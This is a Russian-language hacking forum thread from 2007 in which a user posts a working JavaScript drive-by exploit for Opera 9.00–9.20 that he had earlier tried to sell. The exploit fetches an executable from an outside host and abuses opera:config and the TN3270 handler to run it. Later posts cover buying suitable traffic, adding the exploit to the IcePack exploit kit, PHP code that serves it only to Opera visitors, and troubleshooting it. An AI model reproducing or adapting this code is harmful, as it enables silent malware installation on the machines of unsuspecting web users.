Сплойт на Opera 9.00-9.20

Discussion in 'Уязвимости' started by V1k, 18 Aug 2007.

  1. V1k

    V1k Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    38
    Likes Received:
    32
    Reputations:
    13
    Решил выложить тот самый сплойт, который весной пытался продавать.
    Code:
    <script>
    blank_iframe = document.createElement('iframe');
    blank_iframe.src = 'about:blank';
    blank_iframe.setAttribute('id', 'blank_iframe_window');
    blank_iframe.setAttribute('style', 'display:none');
    document.appendChild(blank_iframe);
    blank_iframe_window.eval
    	("config_iframe = document.createElement('iframe');\
    	config_iframe.setAttribute('id', 'config_iframe_window');\
    	config_iframe.src = 'opera:config';\
    	document.appendChild(config_iframe);\
    	app_iframe = document.createElement('script');\
    	cache_iframe = document.createElement('iframe');\
    	app_iframe.src = 'http://v1k.jino-net.ru/1AAFD5A890CFC6/calc.exe';\
    	app_iframe.onload = function ()\
    	{\
    		cache_iframe.src = 'opera:cache';\
    		cache_iframe.onload = function ()\
    		{\
    			cache = cache_iframe.contentDocument.childNodes[0].innerHTML.toUpperCase();\
    			var re = new RegExp('(OPR\\\\w{5}.EXE)</TD>\\\\s*<TD>\\\\d+</TD>\\\\s*<TD><A HREF=\"'+app_iframe.src.toUpperCase(), '');\
    			filename = cache.match(re);\
    			config_iframe_window.eval\
    			(\"\
    			opera.setPreference('Network','TN3270 App',opera.getPreference('User Prefs','Cache Directory4')+parent.filename[1]);\
    			app_link = document.createElement('a');\
    			app_link.setAttribute('href', 'tn3270://nothing');\
    			app_link.click();\
    			setTimeout(function () {opera.setPreference('Network','TN3270 App','telnet.exe')},1000);\
    			\");\
    		};\
    		document.appendChild(cache_iframe);\
    	};\
    	document.appendChild(app_iframe);");
    </script>
     
    #1 V1k, 18 Aug 2007
    Last edited: 22 Aug 2007
    7 people like this.
  2. V1k

    V1k Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    38
    Likes Received:
    32
    Reputations:
    13
    Ты бы сказал версию и билд.
    Вместо файла открывается телнет?
    Может ошибки какие JavaScript выдает?
     
  3. inv

    inv Banned

    Joined:
    3 Aug 2007
    Messages:
    261
    Likes Received:
    143
    Reputations:
    -58
    спс стер адрес к телнету больше черз оперу он не загрузится)
    уже 9.23 опера есть кстати..
     
    1 person likes this.
  4. V1k

    V1k Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    38
    Likes Received:
    32
    Reputations:
    13
    К сожалению
    [post=334714]
    [/post]
     
  5. V1k

    V1k Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    38
    Likes Received:
    32
    Reputations:
    13
    ну да, download&execute файла из `app_iframe.src`
    подружится с любыми ротаторами=) но трафф для него нужен специфический
     
    1 person likes this.
  6. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    афтору респект давно искал сплойт под оперу, вот сейчас бы только в нем разобраться. Такая проблема запускаю его (опера 9.00 defolt) выскакивает сообщение что программа не найдена, в заголовке указывается пусть до js в папке с кеш'ю. Если переименовать его в exe, то прога скачаная запустится. В других версиях не пробовал. Если мож помоги разобраться с ним
     
  7. Zliden

    Zliden Elder - Старейшина

    Joined:
    7 Feb 2007
    Messages:
    0
    Likes Received:
    26
    Reputations:
    0
    Поясни по трафу плиз
     
  8. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    Посмотри статиску по использованию браузеров минус те кто постоянно качает обновления, вот тебе и спец траф. Кто нибудь может помочь разобраться со сплойтом см пост выше :)
     
  9. Zliden

    Zliden Elder - Старейшина

    Joined:
    7 Feb 2007
    Messages:
    0
    Likes Received:
    26
    Reputations:
    0
    это хня, в связку добавить и гут, кстати кто=нибудь пробовал?
     
  10. spheere

    spheere Member

    Joined:
    24 May 2006
    Messages:
    13
    Likes Received:
    7
    Reputations:
    4
    Где ты это нашел ? )))
     
  11. lothlorian

    lothlorian Elder - Старейшина

    Joined:
    19 Jun 2007
    Messages:
    58
    Likes Received:
    27
    Reputations:
    0
    Как это сплоит добавить в IcePack?
     
  12. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    PHP:
    if (eregi("(opera) ([0-9]{1,2}.[0-2]{1,3}){0,1}"$HTTP_USER_AGENT) || eregi("(opera/)([0-9]{1,2}.[0-2]{1,3}){0,1}"$HTTP_USER_AGENT))
     { include(
    'opera.html');}
    Засунь этот код в index.php или замени opera.html на название своего файла где сохранил сплойт. Или можешь заменить сплойт в файле где сплойт под оперу.
    Народ помогите разобраться что за ошибка при использовании см. посты выше!!! :rolleyes:
     
    #12 gibson, 22 Aug 2007
    Last edited: 22 Aug 2007
    1 person likes this.
  13. Vinch3

    Vinch3 New Member

    Joined:
    31 Aug 2007
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    он Вообще рабочий?
     
  14. Alexsize

    Alexsize Fail

    Joined:
    17 Sep 2005
    Messages:
    1,771
    Likes Received:
    1,221
    Reputations:
    704
    Юзал сплоит от автора. Рабочий и еще как=)
     
  15. heks

    heks Banned

    Joined:
    24 Aug 2007
    Messages:
    713
    Likes Received:
    95
    Reputations:
    12
    что я делаю неправильно? засунул сплоит в 123.html изменил путь
    http://v1k.jino-net.ru/1AAFD5A890CFC6/calc.exe на свой.
    Запускаю 123.html и ни каких результатов.